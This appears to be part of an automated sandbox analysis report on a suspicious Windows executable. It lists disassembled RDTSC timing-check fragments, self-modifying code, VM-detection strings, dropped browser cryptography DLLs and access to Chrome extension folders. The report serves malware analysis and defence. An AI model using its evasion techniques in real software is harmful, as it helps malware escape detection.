Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E9C8E second address: 14E9CB6 instructions: 0x00000000 rdtsc 0x00000002 js 00007F176074C076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jmp 00007F176074C083h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop esi 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push esi 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E9CB6 second address: 14E9CC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1760BC2CCCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E9CC6 second address: 14E9CCC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0466 second address: 4DB0479 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1760BC2CCFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0479 second address: 4DB04AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F176074C084h 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007F176074C07Dh 0x00000017 push eax 0x00000018 pop edi 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB04AA second address: 4DB04B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB04B0 second address: 4DB04B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB04B4 second address: 4DB04B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140F1B3 second address: 140F1D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F176074C080h 0x00000009 popad 0x0000000a push eax 0x0000000b jbe 00007F176074C092h 0x00000011 push eax 0x00000012 push edx 0x00000013 js 00007F176074C076h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0D54 second address: 4DB0D59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0D59 second address: 4DB0DC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, 21h 0x00000005 push edx 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F176074C084h 0x00000010 mov dword ptr [esp], ebp 0x00000013 jmp 00007F176074C080h 0x00000018 mov ebp, esp 0x0000001a pushad 0x0000001b mov cx, 60CDh 0x0000001f mov ebx, ecx 0x00000021 popad 0x00000022 push dword ptr [ebp+04h] 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007F176074C081h 0x0000002e xor si, E956h 0x00000033 jmp 00007F176074C081h 0x00000038 popfd 0x00000039 mov ch, CAh 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0E32 second address: 4DB0D54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 retn 0008h 0x00000009 nop 0x0000000a mov dword ptr [012470C0h], eax 0x0000000f push 00F91310h 0x00000014 mov ecx, dword ptr [012470A8h] 0x0000001a push ecx 0x0000001b call 00007F17649F9936h 0x00000020 mov edi, edi 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 push edx 0x00000026 pop eax 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0054 second address: 4DD00BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176074C089h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov dx, ax 0x0000000f pushfd 0x00000010 jmp 00007F176074C088h 0x00000015 adc ax, 8468h 0x0000001a jmp 00007F176074C07Bh 0x0000001f popfd 0x00000020 popad 0x00000021 xchg eax, ecx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F176074C085h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD00BA second address: 4DD010A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 7Dh 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c mov eax, edx 0x0000000e push edi 0x0000000f mov al, D4h 0x00000011 pop edi 0x00000012 popad 0x00000013 xchg eax, ecx 0x00000014 pushad 0x00000015 push esi 0x00000016 pushfd 0x00000017 jmp 00007F1760BC2CD1h 0x0000001c add ecx, 43A66696h 0x00000022 jmp 00007F1760BC2CD1h 0x00000027 popfd 0x00000028 pop eax 0x00000029 movsx edx, cx 0x0000002c popad 0x0000002d xchg eax, ecx 0x0000002e pushad 0x0000002f mov ebx, esi 0x00000031 push eax 0x00000032 push edx 0x00000033 mov esi, 179FE7F7h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD010A second address: 4DD014E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push edx 0x00000008 mov ax, 2C01h 0x0000000c pop eax 0x0000000d mov cx, di 0x00000010 popad 0x00000011 xchg eax, ecx 0x00000012 pushad 0x00000013 mov eax, 4FE71771h 0x00000018 popad 0x00000019 push dword ptr [ebp+08h] 0x0000001c jmp 00007F176074C07Ch 0x00000021 lea eax, dword ptr [ebp-08h] 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F176074C087h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD014E second address: 4DD0166 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1760BC2CD4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0166 second address: 4DD019E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176074C07Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c pushad 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F176074C082h 0x00000014 add cl, 00000038h 0x00000017 jmp 00007F176074C07Bh 0x0000001c popfd 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD019E second address: 4DD01E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 call 00007F1760BC2CD6h 0x0000000a call 00007F1760BC2CD2h 0x0000000f pop ecx 0x00000010 pop ebx 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 pushad 0x00000015 mov al, dl 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F1760BC2CD0h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD01E6 second address: 4DD0219 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F176074C082h 0x00000008 sub eax, 5CC36F58h 0x0000000e jmp 00007F176074C07Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 nop 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov eax, edx 0x0000001d mov esi, edi 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0251 second address: 4DD0255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0255 second address: 4DD0270 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176074C087h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0270 second address: 4DD0299 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1760BC2CD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ax, bx 0x00000011 movsx ebx, si 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD033B second address: 4DD038E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 mov cx, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c jmp 00007F176074C07Ah 0x00000011 mov dword ptr [esp], ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F176074C07Dh 0x0000001d xor eax, 504050A6h 0x00000023 jmp 00007F176074C081h 0x00000028 popfd 0x00000029 jmp 00007F176074C080h 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD038E second address: 4DD03B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1760BC2CCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F1760BC2CD0h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD03B3 second address: 4DD03B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD03B7 second address: 4DD03BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD03BD second address: 4DD03CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F176074C07Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD03CE second address: 4DD0436 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1760BC2CD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 00000000h 0x0000000d jmp 00007F1760BC2CCEh 0x00000012 push 00000000h 0x00000014 jmp 00007F1760BC2CD0h 0x00000019 push dword ptr [ebp+1Ch] 0x0000001c jmp 00007F1760BC2CD0h 0x00000021 push dword ptr [ebp+18h] 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F1760BC2CD7h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD04AB second address: 4DD04AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD04AF second address: 4DD04CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1760BC2CD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD04CC second address: 4DD04D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD04D2 second address: 4DD04D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD04D6 second address: 4DD04DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0706 second address: 4DB070C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB070C second address: 4DB0760 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176074C083h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F176074C086h 0x00000011 push eax 0x00000012 jmp 00007F176074C07Bh 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F176074C085h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB07CB second address: 4DB080C instructions: 0x00000000 rdtsc 0x00000002 mov bx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007F1760BC2CCCh 0x0000000d sub cx, B148h 0x00000012 jmp 00007F1760BC2CCBh 0x00000017 popfd 0x00000018 popad 0x00000019 xor dword ptr [esp], 683C8432h 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F1760BC2CD0h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB080C second address: 4DB0812 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0953 second address: 4DB0957 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0957 second address: 4DB095D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB095D second address: 4DB0A1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, B016h 0x00000007 push edi 0x00000008 pop ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c sub edx, esi 0x0000000e pushad 0x0000000f call 00007F1760BC2CD4h 0x00000014 pushfd 0x00000015 jmp 00007F1760BC2CD2h 0x0000001a sbb al, 00000068h 0x0000001d jmp 00007F1760BC2CCBh 0x00000022 popfd 0x00000023 pop esi 0x00000024 call 00007F1760BC2CD9h 0x00000029 pushfd 0x0000002a jmp 00007F1760BC2CD0h 0x0000002f and eax, 47D898F8h 0x00000035 jmp 00007F1760BC2CCBh 0x0000003a popfd 0x0000003b pop eax 0x0000003c popad 0x0000003d mov edi, dword ptr [ebp+08h] 0x00000040 pushad 0x00000041 push ebx 0x00000042 mov dx, cx 0x00000045 pop eax 0x00000046 pushfd 0x00000047 jmp 00007F1760BC2CCDh 0x0000004c sbb ah, FFFFFF96h 0x0000004f jmp 00007F1760BC2CD1h 0x00000054 popfd 0x00000055 popad 0x00000056 dec edi 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007F1760BC2CCDh 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0A1E second address: 4DB0A79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F176074C087h 0x00000009 add ax, 877Eh 0x0000000e jmp 00007F176074C089h 0x00000013 popfd 0x00000014 movzx esi, bx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a lea ebx, dword ptr [edi+01h] 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F176074C086h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0A79 second address: 4DB0A8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 movsx edi, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov al, byte ptr [edi+01h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0A8D second address: 4DB0A93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0A93 second address: 4DB0ADB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1760BC2CD8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edi 0x0000000a jmp 00007F1760BC2CD0h 0x0000000f test al, al 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F1760BC2CD7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0ADB second address: 4DB0B50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 movsx ebx, si 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007F17D1BC400Eh 0x00000012 jmp 00007F176074C07Ah 0x00000017 mov ecx, edx 0x00000019 pushad 0x0000001a movzx esi, dx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F176074C089h 0x00000024 or ecx, 40032096h 0x0000002a jmp 00007F176074C081h 0x0000002f popfd 0x00000030 popad 0x00000031 popad 0x00000032 shr ecx, 02h 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F176074C089h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0B50 second address: 4DB0B7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edx 0x00000005 movsx edx, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rep movsd 0x0000000d rep movsd 0x0000000f rep movsd 0x00000011 rep movsd 0x00000013 rep movsd 0x00000015 jmp 00007F1760BC2CD2h 0x0000001a mov ecx, edx 0x0000001c pushad 0x0000001d mov cx, 6A1Dh 0x00000021 push eax 0x00000022 push edx 0x00000023 mov si, 2DBFh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0B7C second address: 4DB0C09 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F176074C084h 0x00000008 sub esi, 2F8DECA8h 0x0000000e jmp 00007F176074C07Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 and ecx, 03h 0x0000001a jmp 00007F176074C086h 0x0000001f rep movsb 0x00000021 jmp 00007F176074C080h 0x00000026 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000002d jmp 00007F176074C080h 0x00000032 mov eax, ebx 0x00000034 jmp 00007F176074C080h 0x00000039 mov ecx, dword ptr [ebp-10h] 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f mov bx, DEB0h 0x00000043 pushad 0x00000044 popad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0C09 second address: 4DB0C72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1760BC2CD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr fs:[00000000h], ecx 0x00000010 pushad 0x00000011 movzx ecx, di 0x00000014 jmp 00007F1760BC2CD3h 0x00000019 popad 0x0000001a pop ecx 0x0000001b pushad 0x0000001c jmp 00007F1760BC2CD4h 0x00000021 pushad 0x00000022 mov ch, 90h 0x00000024 push ebx 0x00000025 pop esi 0x00000026 popad 0x00000027 popad 0x00000028 pop edi 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F1760BC2CD2h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0C72 second address: 4DB0CF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 pushfd 0x00000007 jmp 00007F176074C07Dh 0x0000000c or ah, 00000056h 0x0000000f jmp 00007F176074C081h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pop esi 0x00000019 jmp 00007F176074C07Eh 0x0000001e pop ebx 0x0000001f pushad 0x00000020 push eax 0x00000021 pushfd 0x00000022 jmp 00007F176074C07Dh 0x00000027 xor ax, C266h 0x0000002c jmp 00007F176074C081h 0x00000031 popfd 0x00000032 pop eax 0x00000033 mov ecx, edi 0x00000035 popad 0x00000036 leave 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F176074C086h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0F79 second address: 4DB0F7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0F7F second address: 4DB0F83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 125DA55 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 14043D7 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 1396	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5448	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2184	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3896	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3384	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3552	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6480	Thread sleep time: -50025s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9FC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C9FC930

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2732880203.00000000013E0000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: chrome.exe, 00000004.00000002.2442318248.000066C400B64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: Web Data.9.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Web Data.9.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: chrome.exe, 00000004.00000002.2507290885.000066C4011CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware Virtual USB Mouse
Source: Web Data.9.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: Web Data.9.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: chrome.exe, 00000004.00000002.2442638159.000066C400BE0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 3ce added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=d43ff1b1-4008-4001-b051-084f0cfbb0c3f
Source: Web Data.9.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2731453569.0000000000817000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.9.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: chrome.exe, 00000004.00000002.2442638159.000066C400BE0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: USB device added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=d43ff1b1-4008-4001-b051-084f0cfbb0c3f
Source: msedge.exe, 00000007.00000003.2446503191.000005C000340000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware20,1(
Source: file.exe, 00000000.00000002.2731453569.00000000007E5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
